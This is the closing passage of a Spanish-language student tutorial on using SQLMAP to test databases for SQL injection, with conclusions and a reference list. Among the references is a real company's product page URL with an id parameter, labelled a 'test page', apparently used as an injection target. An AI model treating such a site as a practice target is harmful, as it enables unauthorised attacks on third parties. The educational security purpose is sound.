son más susceptible a tener este tipo de vulnerabilidades. 
 Esta herramienta SQLMAP nos permitirá averiguar si los servidores de bases de datos 
de nuestras organizaciones empresariales son susceptibles a ataques de inyecciones 
de código en SQL y como podremos solucionarlas a futuro. 
 Procurar practicar con páginas web diseñadas para este fin o de videos o enlaces que 
nos muestren como se hace y para fines educativos, no usar páginas web de 
organizaciones importantes ya que un ataque de inyección de código SQL con 
SQLMAP puede afectar las organizaciones, hay empresas que tienen mecanismos de 
seguridad avanzados que pueden detectar algún atacante y tener consecuencias 
jurídicas. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
41 
REFERENCIAS 
 
 Descargar Wampserver.Disponible en: http://www.wampserver.es 
 
 Descargar Notepad++.Disponible en: https://notepad-plus-plus.org/ 
 
 Sqlmap unable to find SQL injection vulnerablitity.Disponible en: 
http://security.stackexchange.com/questions/43926/sqlmap-unable-to-find-sql-
injection-vulnerablitity 
 
 
 Jose Ramos. Automatizando ataques de inyección SQL. Disponible en: 
http://rootear.com/seguridad/utilizando-sqlma 
 
 
 Tianx.Tutorial Backtrack SqlMap.Disponible en: 
http://www.taringa.net/posts/linux/16009648/Tutorial-backtrack-sqlmap.html 
 
 Antonio maschio.mascar empresa de tractores(pagina de prueba).disponible en: 
http://www.mascar.it/product.php?id=1 
 
 
http://www.wampserver.es/
https://notepad-plus-plus.org/
http://security.stackexchange.com/questions/43926/sqlmap-unable-to-find-sql-injection-vulnerablitity
http://security.stackexchange.com/questions/43926/sqlmap-unable-to-find-sql-injection-vulnerablitity
http://rootear.com/seguridad/utilizando-sqlma
http://www.taringa.net/posts/linux/16009648/Tutorial-backtrack-sqlmap.html
http://www.mascar.it/product.php?id=1

Continuar navegando